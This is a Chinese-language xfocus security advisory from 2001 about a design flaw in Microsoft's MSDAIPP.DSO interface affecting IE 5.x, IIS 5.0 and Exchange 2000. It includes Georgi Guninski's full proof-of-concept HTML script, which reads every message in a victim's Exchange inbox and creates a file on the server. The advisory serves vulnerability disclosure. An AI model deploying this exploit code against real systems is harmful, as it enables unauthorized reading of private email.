xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

微软MSDAIPP.DSO脚本接口会导致IE和EXCHANG2000存在漏洞


发布时间:2001-03-31
更新时间:2001-03-31
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
IE 5.x, IIS 5.0 和Exchange 2000
详细描述
Microsoft OLE DB Provider for Internet Publishing" (MSDAIPP.DSO)一般用来
提供脚本接口来访问和管理IIS5.0和WEB存储,其中存在问题它允许连接任意服务程序,
不仅仅是装载当前HTML页面的服务器,但严重的是,此时的IIS5.0在浏览中的IE"本
地 Intranet 区域"安全环境中并不提供任意认证信息给用户。这样就可以通过EMAIL
和恶意站点来以用户的身份来访问用户本地的系统。

通过guninski的分析,只要知道NT DOMAIN上的用户名和IIS5.0的EXCHANGE 2000的
INTRSERVER名字,攻击者就可以获得用户名邮箱中的所有信息并发送到任意服务器上。

测试代码
下面的例程你需要更改INTRASERVER和用户名:

--msdaippdemo.html-------------------------------------------------------------
<HTML>
Written by Georgi Guninski
<SCRIPT>
function f()
{
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;Data Source=http://INTRASERVER/exchange/USERNAME/inbox';
//change INTRASERVER and USERNAME with real values
rec=new ActiveXObject("ADODB.Record");
conn.Open();
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);
win=window.open("about:blank");
win.document.open();
// DISPLAYS ALL MESSAGES FROM USER'S INBOX
while (!rs.EOF)
{
for(i=0;i<rs.Fields.Count;i++)
{
win.document.writeln(rs.Fields(i).Name+"="+rs.Fields(i).Value+"<BR>");
}
rs.MoveNext();
}
rec.Open ("newlycreatedfile.html",conn,3,0);
//create file newlycreatedfile.html
win.document.close();
}
setTimeout("f()",1000);
</SCRIPT>
</HTML>
---------------------------------------------------------------

解决方案
尚无

相关信息
由Georgi Guninski发现。